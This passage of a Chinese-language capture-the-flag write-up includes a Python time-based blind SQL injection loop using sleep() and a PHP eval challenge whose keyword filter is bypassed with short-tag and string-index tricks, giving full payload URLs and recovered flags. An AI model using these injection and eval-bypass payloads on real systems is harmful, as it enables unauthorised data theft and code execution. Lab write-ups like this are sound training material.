url = "http://iamslowly.thinkout.rf.gd/?i=3&answer=' or if((answer like '%s%%'),sleep(30),1)%%23"%(flag+j)
try:
r = requests.get(url=url,headers=header,timeout=29)
print "i:",i,"j:",j,r.content[:10]
except:
flag += j
print flag
break

此时即可跑出answer,提交即可得到flag

1
flag{e1442b9d9758c21536b61ac833600561}

Check via eval

代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26

<?php
error_reporting(0);
require __DIR__.'/lib.php';

$exam = 'return\''.sha1(time()).'\';';

if (!isset($_GET['flag'])) {
echo '<a href="./?flag='.$exam.'">Click here</a>';
}
else if (strlen($_GET['flag']) != strlen($exam)) {
echo 'Not allowed length';
}
else if (preg_match('/`|"|\.|\\\\|\(|\)|\[|\]|_|flag|echo|print|require|include/is', $_GET['flag'])) {
echo 'Not allowed keyword';
}
else if (eval($_GET['flag']) === sha1($flag)) {
echo $flag;
}
else {
echo 'What\'s going on?';
}

echo '<hr>';

highlight_file(__FILE__);

发现过滤了

1
2
3
`
()
[]

导致很难调用函数和命令执行
随后又想能否只能打印出flag
发现过滤了

1
2
3
4
echo
print
require
include

后查阅资料发现可以用以下方式绕过,直接输出
比如

1
<?=$flag='123';?>

可以直接得到结果:123
那么我们在这题中,只要构造出<?=$flag?>
即可立刻输出我们要的flag,而不需要再去管sha1的相等问题
那么如何构造$flag呢?
可以用拼接的方式:

1
$a='alag';$a{0}='f';

于是最后的payload:

1
http://checkviaeval.solveme.peng.kr/?flag=$a='alag';$a{0}='f';1111111111111111;?><?=${$a}?>

可以得到flag:flag{47d07abef31b3adb4a4107bd2b2b3d7e}

CATALOG
  1. 1. 前言
  2. 2. warmup
  3. 3. Bad compare
  4. 4. Winter sleep
  5. 5. Hard login
  6. 6. URL filtering
  7. 7. hashcollision
  8. 8. Array2String
  9. 9. Give me a link
  10. 10. givemealink2
  11. 11. Replace filter
  12. 12. Hell JS
  13. 13. Anti SQLi
  14. 14. Name check
  15. 15. I am slowly
  16. 16. Check via eval